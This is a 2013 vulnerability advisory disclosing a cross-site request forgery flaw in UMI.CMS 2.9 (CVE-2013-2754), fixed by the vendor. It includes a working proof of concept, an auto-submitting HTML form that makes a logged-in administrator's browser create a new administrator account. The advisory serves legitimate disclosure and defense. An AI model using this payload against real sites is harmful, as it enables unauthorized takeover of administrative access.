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UMI.CMS 2.9 Cross Site Request Forgery

UMI.CMS 2.9 Cross Site Request Forgery
Posted May 8, 2013
Authored by High-Tech Bridge SA | Site htbridge.com

UMI.CMS version 2.9 suffers from a cross site request forgery vulnerability. Fixed in version 2.9 build 21905.

tags | exploit, csrf
advisories | CVE-2013-2754
MD5 | 8256cf4dbaef8ef63fe4f21e1e836d03

UMI.CMS 2.9 Cross Site Request Forgery

Change Mirror Download
Advisory ID: HTB23151
Product: UMI.CMS
Vendor: OOO Umisoft
Vulnerable Version(s): 2.9 and probably prior
Tested Version: 2.9
Vendor Notification: April 3, 2013
Vendor Patch: May 7, 2013
Public Disclosure: May 8, 2013
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
CVE Reference: CVE-2013-2754
Risk Level: Medium
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

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Advisory Details:

High-Tech Bridge Security Research Lab discovered CSRF vulnerability in UMI.CMS, which can be exploited to perform Cross-Site Request Forgery (CSRF) attacks and create new administrator in the vulnerable application.


1) Cross-site Request Forgery (CSRF) in UMI.CMS: CVE-2013-2754

The application allows authorized administrator to perform certain sensitive actions via HTTP requests without making proper validity checks to verify the source of these HTTP requests. This can be exploited to perform any actions with administrator privileges, such as adding new administrator to the system.

A remote attacker can create a specially crafted webpage, trick a logged-in administrator to open it and create new user with administrative privileges.

A basic CSRF exploit below will create new administrator with "csrfuser" as a login and "password" as a password:


<form action="http://[host]/admin/users/add/user/do/" method="post" name="main">
<input type="hidden" name="data[new][login]" value="csrfuser">
<input type="hidden" name="data[new][password][]" value="password">
<input type="hidden" name="data[new][e-mail]" value="user@mail.com">
<input type="hidden" name="data[new][is_activated]" value="1">
<input type="hidden" name="data[new][fname]" value="username">
<input type="hidden" name="data[new][groups][]" value="1">
<input type="hidden" name="data[new][groups][]" value="2">
<input type="hidden" name="" value="">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>


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Solution:

Upgrade to UMI.CMS 2.9 build 21905
Changelog: http://www.umi-cms.ru/support/changelog/ (task number 17390)

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23151 - https://www.htbridge.com/advisory/HTB23151 - Cross-Site Request Forgery (CSRF) in UMI.CMS
[2] UMI.CMS - http://umi-cms.ru - UMI.CMS is a fast and scalable content management system.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
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